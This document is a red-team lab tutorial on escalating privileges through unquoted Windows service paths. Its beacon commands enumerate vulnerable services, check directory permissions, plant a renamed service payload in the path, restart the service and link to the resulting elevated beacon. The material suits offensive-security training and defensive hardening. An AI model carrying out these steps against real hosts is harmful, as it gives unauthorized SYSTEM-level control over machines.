Unquoted Service Paths

An unquoted service path is where the path to the service binary is not wrapped in quotes. Why is that a problem? By itself it's not, but under specific conditions it can lead to an elevation of privilege.

WMI can be used to pull a list of every service and the path to its executable. Here are some examples:

beacon> run wmic service get name, pathname

Name                    PathName
ALG                     C:\Windows\System32\alg.exe
AppVClient              C:\Windows\system32\AppVClient.exe
Sense                   "C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe"
[...snip...]
VulnService1            C:\Program Files\Vulnerable Services\Service 1.exe

\

We can see that the paths for ALG and AppVClient are not quoted, but the path for Sense is. The difference is that this latter path has spaces in them. VulnService1 has spaces in the path and is also not quoted - this is condition #1 for exploitation.

When Windows attempts to read the path to this executable, it interprets the space as a terminator. So, it will attempt to execute the following (in order):

  1. C:\Program.exe

  2. C:\Program Files\Vulnerable.exe

  3. C:\Program Files\Vulnerable Services\Service.exe

If we can drop a binary into any of those paths, the service will execute it before the real one. Of course, there's no guarantee that we have permissions to write into either of them - this is condition #2.

The PowerShell Get-Acl cmdlet will show the permissions of various objects (including files and directories).

beacon> powershell Get-Acl -Path "C:\Program Files\Vulnerable Services" | fl

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files\Vulnerable Services
Owner  : BUILTIN\Administrators
Group  : DEV\Domain Users
Access : BUILTIN\Users Allow  CreateFiles, Synchronize
         NT SERVICE\TrustedInstaller Allow  FullControl
         NT SERVICE\TrustedInstaller Allow  268435456
         NT AUTHORITY\SYSTEM Allow  FullControl
         NT AUTHORITY\SYSTEM Allow  268435456
         BUILTIN\Administrators Allow  FullControl
         BUILTIN\Administrators Allow  268435456
         BUILTIN\Users Allow  ReadAndExecute, Synchronize
         BUILTIN\Users Allow  -1610612736
         CREATOR OWNER Allow  268435456
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  -1610612736
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  -1610612736
Audit  : 
Sddl   : O:BAG:DUD:AI(A;;0x100002;;;BU)(A;ID;FA;;;S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464)(A;CII
         OID;GA;;;S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464)(A;ID;FA;;;SY)(A;OICIIOID;GA;;;SY)(A;I
         D;FA;;;BA)(A;OICIIOID;GA;;;BA)(A;ID;0x1200a9;;;BU)(A;OICIIOID;GXGR;;;BU)(A;OICIIOID;GA;;;CO)(A;ID;0x1200a9;;;A
         C)(A;OICIIOID;GXGR;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)(A;OICIIOID;GXGR;;;S-1-15-2-2)

\

We can see from the output that BUILTIN\Users have CreateFiles privilege on the C:\Program Files\Vulnerable Services directory, which means we can upload a malicious binary to hijack this unquoted path.

SharpUp will also list any services that match these conditions.

beacon> execute-assembly C:\Tools\SharpUp\SharpUp\bin\Release\SharpUp.exe audit UnquotedServicePath

=== SharpUp: Running Privilege Escalation Checks ===

=== Services with Unquoted Paths ===
	Service 'VulnService1' (StartMode: Automatic) has executable 'C:\Program Files\Vulnerable Services\Service 1.exe', but 'C:\Program Files\Vulnerable Services\Service' is modifable.

\

Payloads to abuse services must be specific "service binaries", because they need to interact with the Service Control Manager. When using the "Generate All Payloads" option, these have svc in the filename.

I recommend the use of TCP beacons bound to localhost only for privilege escalations.

\

beacon> cd C:\Program Files\Vulnerable Services
beacon> ls

 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
 5kb      fil     02/23/2021 15:04:13   Service 1.exe
 5kb      fil     02/23/2021 15:04:13   Service 2.exe
 5kb      fil     02/23/2021 15:04:13   Service 3.exe

beacon> upload C:\Payloads\tcp-local_x64.svc.exe
beacon> mv tcp-local_x64.svc.exe Service.exe
beacon> ls

 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
 5kb      fil     02/23/2021 15:04:13   Service 1.exe
 5kb      fil     02/23/2021 15:04:13   Service 2.exe
 5kb      fil     02/23/2021 15:04:13   Service 3.exe
 290kb    fil     03/03/2021 11:11:27   Service.exe

beacon> run sc stop VulnService1

SERVICE_NAME: VulnService1 
        TYPE               : 10  WIN32_OWN_PROCESS  
        STATE              : 3  STOP_PENDING 
                                (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

beacon> run sc start VulnService1

SERVICE_NAME: VulnService1 
        TYPE               : 10  WIN32_OWN_PROCESS  
        STATE              : 2  START_PENDING 
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x7d0
        PID                : 4384
        FLAGS              : 

\

Standard users cannot stop or start services by default, so you would usually need to wait for a computer reboot. This privilege has been granted in the lab for quality of life.

\

When you start the service, you'll see its state will be START_PENDING. If you then check its status with sc query VulnService1, you'll see it will be STOPPED. This is by design. You will also not see a Beacon appear in the UI automatically. But you should see the port you used in your TCP listener configuration (in my case 4444) is now listening on 127.0.0.1.

beacon> run netstat -anp tcp
[...snip...]
TCP    127.0.0.1:4444         0.0.0.0:0              LISTENING

\

The Beacon is waiting for us to connect to it, which we do with the connect command.

beacon> connect localhost 4444
[+] established link to child beacon: 10.10.123.102

\

\

To restore the service, simply delete Service.exe and restart the service.

Last updated